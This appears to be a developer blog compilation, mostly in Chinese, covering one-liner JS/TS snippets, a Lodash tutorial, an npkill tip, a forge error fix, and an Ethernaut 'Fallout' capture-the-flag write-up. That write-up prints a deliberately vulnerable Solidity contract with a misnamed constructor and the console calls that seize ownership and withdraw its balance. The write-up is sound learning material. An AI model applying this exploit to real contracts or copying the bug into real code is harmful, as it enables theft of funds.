1LOC

對於初入門TS/JS或是想精進技術的人，1LOC 真的是不能錯過的網站！1LOC 的LOC是指line of code的的縮寫，在這個網站內分門別類分享了許多程式碼，有TS也有JS的版本，幫助開發者在一行內以漂亮達成想要的效果。

以下從網站擷取一些範例 :

Invert keys and values of an object

const invert = (obj) => Object.fromEntries(Object.entries(obj).map(([k, v]) => [v, k]));
//How to use ?
invert({ a: '1', b: '2', c: '3' }); // { 1: 'a', 2: 'b', 3: 'c' }

Calculate Fibonacci numbers

const fibo = (n: number, memo: Record<string, number> = {}): number => memo[n] || (n <= 2 ? 1 : (memo[n] = fibo(n - 1, memo) + fibo(n - 2, memo)));
// How to use ?
fibo(1); // 1
fibo(2); // 1
fibo(3); // 2
fibo(4); // 3
fibo(5); // 5
fibo(6); // 8

Clear all cookies

const clearCookies = (): void => document.cookie.split(';').forEach((c) => (document.cookie = c.replace(/^ +/, '').replace(/=.*/, `=;expires=${new Date().toUTCString()};path=/`)));
clearCookies();

Generate a random hex color

const randomColor = (): string => `#${(~~(Math.random() * (1 << 24))).toString(16)}`;

考量到可讀性，有些程式碼像是fibonacci，比起一行解決我更傾向質樸地寫成十幾行的function，後人會更好維護。所以這個網站內的程式碼可供參考、作為學習的教材，但跟他寫的不一樣、沒有在一行內解決不代表就是壞code！能靈活運用、好閱讀、有效率最重要^^ 分享這個網站給大家～

Javascript library - Lodash

因緣際會下認識了這款實用又方便的套件 - Lodash，Lodash是一個一致性、模塊化、高性能的 Javascript 實用工具庫，遵循 MIT 標準，支持最新的運行環境（擷取自官網的介紹）。

安裝 Install

習慣寫typescript，所以這邊除了lodash，也安裝了@types/lodash

npm install lodash
npm install --save @types/lodash

import

import * as _ from "lodash";

一些範例

Lodash 提供很多好用的函式，這邊就簡單舉一些例子，詳細可以到Lodash docs來看。

• _.chunk(array, [size=1])

  把陣列拆分成多個size長度的陣列，剩餘不足一個size的剩餘元素組成最後一個陣列

  console.log(_.chunk(['a', 'b', 'c', 'd'], 2))
  // [ [ 'a', 'b' ], [ 'c', 'd' ] ]
  

• _.compact(array)

  創建一個新的陣列並返回，這個陣列有原陣列所有非假值元素。假值指如 false, null,0, "", undefined, 和 NaN

  console.log(_.compact([0, 1, false, 2, '', 3]))
  // [ 1, 2, 3 ]
  

• _.drop(array, [n=1])

  去除陣列前n個元素

  console.log(_.drop([1, 2, 3], 2))
  // [ 3 ]
  console.log(_.drop([1, 2, 3], 5))
  // []
  

• _.fill(array, value, [start=0], [end=array.length])

  將陣列從start位置開始到end位置結束替換為value，會改變原陣列，非建立新陣列回傳。

  console.log(_.fill(Array(3), 2))
  // [ 2, 2, 2 ]
  console.log(_.fill([4, 6, 8, 10], '*', 1, 3))
  // [ 4, '*', '*', 10 ]
  

• _.flatten(array)

  減少一層陣列嵌套

  console.log(_.flatten([1, [2, [3, [4]], 5]]))
  // [ 1, 2, [ 3, [ 4 ] ], 5 ]
  

• _.flattenDeep(array)

  使成為一維陣列

  console.log(_.flattenDeep([1, [2, [3, [4]], 5]]))
  // [ 1, 2, 3, 4, 5 ]
  

• _.remove(array, [predicate=_.identity])

  移除陣列中predicate是true的元素並返回

  var array = [1, 2, 3, 4];
  var evens = _.remove(array, function(n) { return n % 2 == 0;})
  console.log('array: ', array);
  console.log('evens: ', evens);
  // array:  [ 1, 3 ]
  // evens:  [ 2, 4 ]
  

• _.uniq(array)

  去除重複元素(保留第一次出現的元素)

  console.log(_.uniq([2, 1, 2]))
  // [ 2, 1 ]
  

• _.unzip(array) 與 _.zip([arrays])

  var zipped = _.zip(['a', 'b'], [1, 2], [true, false]);
  console.log('zipped: ', zipped)
  // zipped:  [ [ 'a', 1, true ], [ 'b', 2, false ] ]
  console.log(_.unzip(zipped))
  // [ [ 'a', 'b' ], [ 1, 2 ], [ true, false ] ]
  

• _.zipWith([arrays], [iteratee=_.identity])

  console.log(_.zipWith([1, 2], [10, 20], [100, 200], function(a, b, c) { return a + b + c; }))
  // [ 111, 222 ]
  

Ethernaut - 2.Fallout

Difficulty: 🌕🌑🌑🌑🌑

Claim ownership of the contract below to complete this level.

Things that might help

• Solidity Remix IDE

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Writeup

1. Get new instance
2. Call the method

   
    await contract.owner()
       
   

   to check contract owner, it return address 0x0000000000000000000000000000000000000000.

3. Call the method

   
    await contract.allocatorBalance(YOUR_ADDRESS).then(v=>v.toString())
   
   

   to check balance, it will return zero.

4. Call the method

   
    await contract.Fal1out({ value: toWei("0.00001") })
   
   

5. Call method allovatorBalance again like step3, we can see out balance become 10000000000000 now.
6. Call the method

   
    await contract.collectAllocations()
   
   

7. Submit instance ξ( ✿＞◡❛)

forge install : fatal: Not a git repository (or any of the parent directories)

Run forge install some-repo command then get fatal: Not a git repository (or any of the parent directories)error. Because there are no .git folder!
Solve the problem by run forge init (or forge init --force)

npkill - tool to remove node_modules

There is a fast way to remove node_modules folder, which can help us save mamory wonderfully.

1. Run npx npkill in terminal
2. Select folder you want to delete and press SPACE key ! How simple is it ?